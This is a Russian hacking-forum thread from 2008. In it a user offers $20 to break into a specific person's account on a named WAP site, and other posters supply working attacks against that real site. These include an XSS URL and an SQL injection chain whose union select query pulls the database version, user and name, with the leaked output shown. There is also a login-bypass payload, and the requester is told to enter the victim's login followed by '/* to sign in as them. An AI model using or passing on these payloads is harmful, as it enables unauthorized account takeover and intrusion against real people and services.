Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   О Работе (https://forum.antichat.xyz/forumdisplay.php?f=57)
-   -   Взломать человечка на вап сайте????!!!! (https://forum.antichat.xyz/showthread.php?t=58602)

Ursa1 14.01.2008 16:01

Взломать человечка на вап сайте????!!!!
 
Взломать человечка, на сайте wap.sotchi.ru Дам 20 бакков. Пароль простой цифры от 2-6 может быть.
Проверить надо :)

Macro 14.01.2008 16:51

Взломаю

bul.666 14.01.2008 16:57

http://wap.sotchi.ru/cgi-bin/wap_index.pl?login=a%3Cscript%3Ealert(/XEk/)%3C/script%3E'sa'&password=asd%27&z=737
=\

Macro 14.01.2008 16:59

Цитата:

Сообщение от bul.666
http://wap.sotchi.ru/cgi-bin/wap_index.pl?login=a%3Cscript%3Ealert(/XEk/)%3C/script%3E'sa'&password=asd%27&z=737
=\

Это вап, тут нафиг не нужны xss

halkfild 14.01.2008 17:10

там и скуля есть /*жаль версия 4-тая*/ =\ могу))


выкладываю хацкерам :D :D

скуля
Цитата:

http://meet.sotchi.ru/vp/?sid=ca9e5ced3b10b0544574c94448d31ef0&uid=8719+and +1=1/*
поле
Цитата:

http://meet.sotchi.ru/vp/?sid=ca9e5ced3b10b0544574c94448d31ef0&uid=-8719+union+select+66666/*/*
системная инфа.. версия и тд..
Цитата:

http://meet.sotchi.ru/vp/?sid=ca9e5ced3b10b0544574c94448d31ef0&uid=-8719+union+select+concat_ws(0x3a3a,version(),user( ),database())/*
4.0.24::sotchi@localhost::sotchi

там в таблице префикс и сама таблица... ковырять особо некогда, завтра екзамен =\ так что ковыряйте хацкеры

Macro 14.01.2008 17:12

Цитата:

Сообщение от halkfild
там и скуля есть /*жаль версия 4-тая*/ =\ могу))

Угу и не одна... только таблицы не подобрать

Ershik 14.01.2008 17:40

admin
' or 1=1/*
Это прокатывает, но почему-то выбрасывает.

Ursa1 14.01.2008 19:04

Пацаны это хорошо, но для меня это темный лес, может расшифруете что уда вставлять?

Macro 14.01.2008 19:25

Цитата:

Сообщение от Ursa1
Пацаны это хорошо, но для меня это темный лес, может расшифруете что уда вставлять?

Да, расшифруем :) введи логин, а после него

Код:

'/*
И ты войдешь под его именем

iddqd 14.01.2008 19:38

Macro, респект! А то мну тож выкидывало от пасса
Код:

' or 1=1/*


Время: 15:00